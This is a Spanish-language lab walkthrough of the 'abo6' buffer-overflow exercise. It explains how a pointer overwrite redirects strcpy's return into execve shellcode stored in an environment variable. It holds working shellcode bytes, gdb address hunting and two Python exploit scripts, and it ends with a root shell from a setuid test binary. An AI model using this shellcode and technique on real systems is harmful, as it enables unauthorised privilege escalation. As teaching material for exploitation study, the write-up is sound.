layout |
---|
page |
/* abo6.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* return to me my love */
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
Este programa es muy similar al Abo 5, apila dos variables locales: el puntero pbuf
(que apunta al heap) y buf
. Después de copiar el contenido del primer y segundo parámetro en las variables entra en un loop infinito con while(1)
, provocando que main()
nunca retorne.
En este punto de la ejecución el mapa de la pila es el siguiente:
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
eip => strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
Al igual que en el abo5 de nada nos serviría sobreescribir la dirección de retorno de main()
, ya que por el loop infinito while(1)
nunca retorna.
Hasta este punto almacenabamos el shellcode en una variable local dentro de la pila. Si bien hay estrategias para reducir la cantidad de bytes de un shellcode (optimizando el código assembler al máximo), es esperable que este búfer sea demasiado pequeño para almacenarlo. Una solución alternativa es almacenar el shellcode en otros espacios de memoria como las variables de entorno, que no tienen restricciones de tamaño y -a su vez- también se almacenan en la pila.
Aquí un detalle del almacenamiento de las variables de entorno en la pila:
Para probar el funcionamiento de este ataque creamos una nueva variable de entorno VAR
con el string "prueba":
user@abos:~$ export VAR=prueba
user@abos:~$ env ; consultamos las variables de entorno
XDG_SESSION_ID=XXX
TERM=xterm-256color
SHELL=/bin/bash
VAR=prueba ; nueva variable de entorno
....
Ahora creamos una variable de entorno SHELLCODE
dónde vamos a almacenar el shellcode:
user@abos:~$ for i in $(python -c 'print("\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")'); do echo -en $i; done > shellcode.bin
user@abos:~$ export SHELLCODE=$(cat shellcode.bin)
user@abos:~$ env
XDG_SESSION_ID=XXX
SHELLCODE=��1�[�C��C ; el shellcode
��S
1Ұ
��1�̀�����/bin/shABBBBCCCC
TERM=xterm-256color
SHELL=/bin/bash
....
En este punto cuando ejecutemos el programa vulnerable sabremos que el shellcode inyectado al que debemos redireccionar la ejecución está en la pila junto al resto de las variables de entorno.
El objetivo será modificar la dirección de retorno del segundo strcpy()
para que apunte a la variable de entorno shellcode
en vez de retornar a main()
. Al igual que antes, lo logramos de manera indirecta:
strcpy(buf,argc[1])
con el primer parámetro sobreescribirmospbuf
para que apunte a la dirección de retorno del segundostrcpy()
.strcpy(pbuf,argc[2])
dado que el segundo parámetro modifica el valor al que apuntapbuf
, con él podemos sobreescribir la dirección de retorno del segundostrcpy()
para que apunte a la variable de entornoSHELLCODE
.
- Inyectamos el shellcode en una nueva variable de entorno
user@abos:~$ gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o abo6 abo6.c user@abos:~$ sudo chown root ./abo6; sudo chmod u+s ./abo6 ; root owner y setuid user@abos:~$ for i in $(python -c 'print("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")'); do echo -en $i; done > shellcode.bin user@abos:~$ export SHELLCODE=$(cat shellcode.bin) user@abos:~$ env XDG_SESSION_ID=XXX SHELLCODE=��1�[�C��C ��S 1Ұ ��1�̀�����/bin/shABBBBCCCC TERM=xterm-256color SHELL=/bin/bash
Consideraciones: en esta instancia se apela a un truco para lograr una shell con privilegios de root se modifican los permisos del binario con
chown
ychmod
.
-
Averiguamos la dirección del shellcode en la pila.
Para lograr consistencia en las direcciones de la pila con y singdb
corremos el programa con el script fixenv de Hellman.user@abos:~$ ./r.sh gdb ./abo6 (gdb) show env XDG_SESSION_ID=328 SHELLCODE=��1�[�C��C ; shellcode en env ��1�̀�����/bin/shABBBBCCCC SHELL=/bin/bash (gdb) x/2000s $esp ; vemos addr de shellcode 0xbffff90a: "XDG_SESSION_ID=335" => 0xbffff91d: "SHELLCODE=", '\220' <repeats 20 times>, "\061\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200" 0xbffff95f: "SHELL=/bin/bash" .... (gdb) x/4wx 0xbffff91d ; ASCII de "SHELLCODE" + nops 0xbffff91d: 0x4c454853 0x444f434c 0x90903d45 0x90909090 (gdb) x/xw 0xbffff91d+10 ; addr nop slide => 0xbffff927: 0x90909090
Primero detectamos que en
0xbffff91d
comienza el nombre de la variable de entorno, es decir el string "SHELLCODE". A esa dirección le sumamos diez caracteres para saltearnos el string del nombre y obtener una dirección que desemboque directamente en los NOPs (engdb
verificamos que en0xbffff927
están los nops). Entonces la dirección a la que debemos redirigir el flujo de ejecución es:0xbffff927
. -
Armamos ambos argumentos a usar.
-
Primer argumento: usamos el primer
strcpy(buf,argc[1])
para sobreescribirpbuf
con un overflow y lo hacemos apuntar, ya no al heap, sino a la dirección de retorno del segundostrcpy()
, que como aún no sabemos cuál es indicamos0x41414141
.Con esto armamos un archivo python para ingresar como primer parámetro:
param1.py #! /usr/bin/env python import sys from struct import pack len_buf = 256 ret_addr_strcpy = 0x41414141 #???? exploit = "\x41" * len_buf #fill buf exploit += pack("<I", ret_addr_strcpy) #set pbuf sys.stdout.write(exploit)
-
Segundo argumento: aprovechando
strcpy(pbuf,argc[2])
modificamos el valor al que apuntapbuf
, es decir, modificamos la dirección de retorno delstrcpy()
y la reemplazamos por la dirección del shellcode del entorno. Armamos un archivo python para ingresar como segundo parámetro:param2.py #! /usr/bin/env python import sys from struct import pack env_shell_addr = 0xbffff927 exploit = pack("<I", env_shell_addr) #set ret addr del 2do strcpy() sys.stdout.write(exploit)
-
-
Finalmente, averiguamos la dirección de retorno que va a apilar el segundo
strcpy()
, ejecutando el programa vulnerable con los dos argumentos definidos antes.user@abos:~$ ./r.sh gdb ./abo6 (gdb) break 13 ; break en 2do strcpy() (gdb) r "$(./param1.py)" "$(./param2.py)" (gdb) c Continuing. Breakpoint 2, main (argv=3, argc=0xbffff6d4) at abo6.c:13 13 strcpy(pbuf,argc[2]); (gdb) x/2i $eip => 0x80484a5 <main+74>: push DWORD PTR [ebp-0x4] 0x80484a8 <main+77>: call 0x8048310 <strcpy@plt> (gdb) si (gdb) x/i $eip ; llegamos al call de 2do strcpy() => 0x80484a8 <main+77>: call 0x8048310 <strcpy@plt> (gdb) si ; entramos en 2do strcpy() 0x08048310 in strcpy@plt () (gdb) x/wx $esp ; vemos ret_addr apilada 0xbffff528: 0x080484ad (gdb)
Llegamos al punto en el que se ejecuta la línea de código
strcpy(pbuf,argc[2])
, avanzamos una siguiente instrucción consi
y leemos el tope de la pilax/wx $esp
para conocer en qué dirección se apiló la dirección de retorno amain()
. La dirección de retorno del segundostrcpy()
que debemos sobreescribir es entonces0xbffff528
.Consideraciones: el programa vulnerable toma dos argumentos que se almacenan en la pila y por ende su longitud afecta los cálculos de las direcciones. Es por eso que para saber con exactitud la dirección de retorno debemos cuidar que las distintas ejecuciones del programa tengan argumentos siempre de igual longitud. Incluso planificamos que los valores temporales que usamos como
0x41414141
ocupen el mismo espacio que ocupará la dirección definitiva.Actualizamos con la dirección de retorno con el valor correcto en el primer parámetro del exploit.
param1.py #! /usr/bin/env python import sys from struct import pack len_buf = 256 ret_addr_strcpy = 0xbffff528 exploit = "\x41" * len_buf #fill buf exploit += pack("<I", ret_addr_strcpy) #set pbuf sys.stdout.write(exploit)
-
Lo ejecutamos y logramos la shell.
user@abos:~$ ./r.sh ./abo6 "$(./param1.py)" "$(./param2.py)"
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user),27(sudo)
# whoami
root
#
Suponiendo que el binario vulnerable fue creado por root con permisos especiales setuid, con este ataque lograríamos una root shell que podrá por ejemplo acceder a archivos como root, etc.